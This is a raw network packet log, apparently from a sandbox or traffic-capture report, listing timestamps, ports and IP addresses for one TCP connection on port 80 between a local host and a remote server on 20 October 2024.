Oct 20, 2024 06:40:19.857678890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.857697010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.857708931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.857718945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.857722044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.857736111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.857753992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.857754946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.857767105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.857774973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.857795000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.857826948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.857852936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.857865095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.857873917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.857897997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.857927084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.906136990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.911252022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.253874063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.253892899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.253912926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.253926039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.253938913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.253948927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.253952026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.253963947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.253978014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.253992081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.254002094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.254023075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.254230976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.254272938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.254281044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.254285097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.254307985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.254323959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.254333019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.254345894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.254365921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.254367113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.254388094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.254400969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.254666090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.254678011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.254688978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.254735947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.254740000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.254764080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.254772902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.254776955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.254790068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.254792929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.254800081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.254822016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.254841089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.254841089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.254851103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.254863024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.254880905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.254908085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.254964113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.254982948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.254996061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.255002022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.255006075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.255019903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.255021095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.255033970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.255039930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.255044937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.255069017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.255081892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.255127907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.255137920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.255150080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.255177021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.255201101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.255201101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.255213022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.255247116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.255247116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.255256891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.255279064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.255283117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.255305052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.255321026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.255326986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.255362988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.255530119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.255542040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.255556107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.255578041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.255605936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.255614996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.255625963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.255636930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.255650043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.255662918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.255667925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.255677938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.255691051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.255697966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.255703926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.255717039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.255736113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.255747080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.255764961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.255784035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.255794048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.255796909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.255819082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.255844116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.255845070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.255856991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.255868912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.255896091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.255901098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.255913019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.255925894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.255949974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.255976915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.255986929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.255995989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.256007910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.256019115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.256021023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.256033897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.256038904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.256047964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.256074905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.256081104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.256093025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.256093025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.256103992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.256119013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.256145000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.256207943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.256218910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.256231070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.256241083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.256251097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.256253958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.256266117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.256266117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.256298065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.256298065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.256309986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.256320953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.256324053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.256335974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.256342888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.256349087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.256361008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.256370068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.256373882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.256397009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.256400108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.256417990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.256443977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.256448030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.256459951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.256490946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.256545067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.256556034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.256567955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.256581068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.256593943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.256594896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.256618023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.256638050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.256648064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.256660938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.256695986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.256726027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.256736994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.256747961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.256759882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.256762981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.256795883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.256824970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.256839037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.256850004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.256861925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.256877899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.256896019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.256918907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.256931067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.256943941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.256953955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.256957054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.256999016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.257009983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.257021904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.257031918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.257045031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.257051945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.257067919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.257092953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.257102013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.257114887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.257124901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.257136106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.257149935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.257174015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.257205963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.257217884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.257230997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.257244110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.257245064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.257260084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.257271051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.257278919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.257292032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.257294893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.257302999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.257313013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.257313967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.257324934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.257343054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.257375002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.257385015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.257396936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.257422924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.257436991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.257477999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.257489920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.257500887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.257512093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.257523060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.257525921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.257536888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.257548094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.257565022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.257582903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.257591009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.257595062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.257606983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.257622004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.257622004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.257647991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.257677078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.257699013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.257710934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.257720947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.257734060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.257741928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.257771969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.257858038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.257869959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.257882118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.257893085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.257908106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.257915974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.257919073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.257931948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.257931948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.257944107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.257956028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.257957935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.257968903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.257986069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.258002043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.258007050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.258042097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.258177996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.258188963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.258198977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.258213997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.258219957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.258228064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.258240938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.258253098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.258253098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.258265018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.258265972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.258277893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.258289099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.258291960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.258301973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.258312941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.258322954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.258326054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.258337975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.258357048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.258419037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.258430958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.258441925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.258454084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.258466959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.258470058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.258486986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.258502960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.258557081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.258568048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.258578062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.258589983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.258610010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.258611917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.258624077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.258631945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.258635044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.258650064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.258663893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.258663893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.258671999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.258676052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.258687019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.258698940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.258699894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.258721113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.258729935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.258738995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.258753061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.258755922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.258768082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.258780003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.258783102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.258791924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.258805037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.258810043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.258817911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.258825064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.258831024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.258852005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.258879900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.447572947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.447591066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.447602987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.447609901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.447642088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.447686911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.447763920 CEST	80	49730	185.215.113.37	192.168.2.4
